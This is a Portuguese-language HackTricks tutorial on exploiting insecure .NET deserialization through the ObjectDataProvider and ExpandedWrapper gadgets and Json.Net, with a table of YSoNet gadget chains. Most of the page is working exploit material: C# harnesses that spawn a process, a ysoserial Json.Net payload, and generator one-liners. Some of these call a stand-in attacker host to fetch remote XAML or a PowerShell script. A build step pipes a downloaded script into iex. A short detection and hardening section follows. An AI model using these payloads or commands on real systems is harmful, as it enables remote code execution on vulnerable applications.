Deserialização básica .Net (gadget ObjectDataProvider, ExpandedWrapper e Json.Net)

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Este post é dedicado a entender como o gadget ObjectDataProvider é explorado para obter RCE e como as bibliotecas de Serialização Json.Net e xmlSerializer podem ser abusadas com esse gadget.

Gadget ObjectDataProvider

Da documentação: a Classe ObjectDataProvider envolve e cria um objeto que você pode usar como uma fonte de vinculação.
Sim, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: Esta classe permite envolver um objeto arbitrário, usar MethodParameters para definir parâmetros arbitrários e então usar MethodName para chamar uma função arbitrária do objeto arbitrário declarado usando os parâmetros arbitrários.
Portanto, o objeto arbitrário irá executar uma função com parâmetros enquanto está sendo desserializado.

Como isso é possível

O namespace System.Windows.Data, encontrado dentro do PresentationFramework.dll em C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, é onde o ObjectDataProvider é definido e implementado.

Usando dnSpy você pode inspecionar o código da classe que nos interessa. Na imagem abaixo, estamos vendo o código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do método

Como você pode observar, quando MethodName é definido, base.Refresh() é chamado, vamos dar uma olhada no que isso faz:

Ok, vamos continuar vendo o que this.BeginQuery() faz. BeginQuery é sobrescrito por ObjectDataProvider e é isso que ele faz:

Note que no final do código está chamando this.QueryWorke(null). Vamos ver o que isso executa:

Note que este não é o código completo da função QueryWorker, mas mostra a parte interessante dela: O código chama this.InvokeMethodOnInstance(out ex); esta é a linha onde o método definido é invocado.

Se você quiser verificar que apenas definindo o MethodName** ele será executado**, você pode rodar este código:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note que você precisa adicionar como referência C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll para carregar System.Windows.Data

ExpandedWrapper

Usando a exploração anterior, haverá casos em que o objeto será desserializado como uma instância de ObjectDataProvider (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando GetType). Então, não terá conhecimento do tipo de objeto que está encapsulado na instância de ObjectDataProvider (Process, por exemplo). Você pode encontrar mais informações sobre a vulnerabilidade do DotNetNuke aqui.

Esta classe permite especificar os tipos de objeto dos objetos que estão encapsulados em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (ObjectDataProvider) em um novo tipo de objeto e fornecer as propriedades que precisamos (ObjectDataProvider.MethodName e ObjectDataProvider.MethodParameters).
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de encapsular _ObjectDataProvider** dentro de uma instância de **ExpandedWrapper _ e quando desserializado esta classe criará o objeto OjectDataProvider que irá executar a função indicada em MethodName.

Você pode verificar este wrapper com o seguinte código:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na página oficial é indicado que esta biblioteca permite Serializar e desserializar qualquer objeto .NET com o poderoso serializador JSON do Json.NET. Assim, se pudéssemos desserializar o gadget ObjectDataProvider, poderíamos causar um RCE apenas desserializando um objeto.

Exemplo Json.Net

Primeiro de tudo, vamos ver um exemplo de como serializar/desserializar um objeto usando esta biblioteca:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusando Json.Net

Usando ysoserial.net eu criei o exploit:

java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Neste código você pode testar a exploração, basta executá-lo e você verá que um calc é executado:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

A técnica ObjectDataProvider + ExpandedWrapper introduzida acima é apenas uma das MUITAS cadeias de gadgets que podem ser abusadas quando uma aplicação realiza desserialização .NET insegura. Ferramentas modernas de red-team, como YSoNet (e a mais antiga ysoserial.net), automatizam a criação de gráficos de objetos maliciosos prontos para uso para dezenas de gadgets e formatos de serialização.

Abaixo está uma referência condensada das cadeias mais úteis incluídas com YSoNet, juntamente com uma rápida explicação de como funcionam e comandos de exemplo para gerar os payloads.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateCorrompe o registro DelegateSerializationHolder para que, uma vez materializado, o delegate aponte para qualquer método fornecido pelo atacante (por exemplo, Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorAbusa de System.Workflow.ComponentModel.ActivitySurrogateSelector para contornar a filtragem de tipo .NET ≥4.8 e invocar diretamente o construtor de uma classe fornecida ou compilar um arquivo C# em tempo realBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourAproveita a representação XML legada de System.Data.DataSet para instanciar tipos arbitrários preenchendo os campos <ColumnMapping> / <DataType> (opcionalmente falsificando o assembly com --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsEm tempos de execução habilitados para WPF (> .NET 5), encadeia getters de propriedades até alcançar System.CodeDom.Compiler.CompilerResults, então compila ou carrega um DLL fornecido com -cJson.NET sem tipo, MessagePack sem tipoysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (revisão)Usa WPF System.Windows.Data.ObjectDataProvider para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma variante conveniente --xamlurl para hospedar o XAML malicioso remotamenteBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Incorpora ScriptBlock em System.Management.Automation.PSObject que é executado quando o PowerShell desserializa o objetoRemoção do PowerShell, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Todos os payloads são escritos para stdout por padrão, tornando trivial canalizá-los para outras ferramentas (por exemplo, geradores de ViewState, codificadores base64, clientes HTTP).

Building / Installing YSoNet

Se não houver binários pré-compilados disponíveis em Actions ➜ Artifacts / Releases, a seguinte linha de comando PowerShell configurará um ambiente de build, clonará o repositório e compilará tudo em modo Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

O ysonet.exe compilado pode ser encontrado em ysonet/bin/Release/.

Detecção e Fortalecimento

  • Detectar processos filhos inesperados de w3wp.exe, PowerShell.exe ou qualquer processo que deserializa dados fornecidos pelo usuário (por exemplo, MessagePack, Json.NET).
  • Habilitar e impor filtragem de tipo (TypeFilterLevel = Full, SurrogateSelector personalizado, SerializationBinder, etc.) sempre que o legado BinaryFormatter / NetDataContractSerializer não puder ser removido.
  • Sempre que possível, migrar para System.Text.Json ou DataContractJsonSerializer com conversores baseados em lista branca.
  • Bloquear assemblies WPF perigosos (PresentationFramework, System.Workflow.*) de serem carregados em processos web que nunca deveriam precisar deles.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks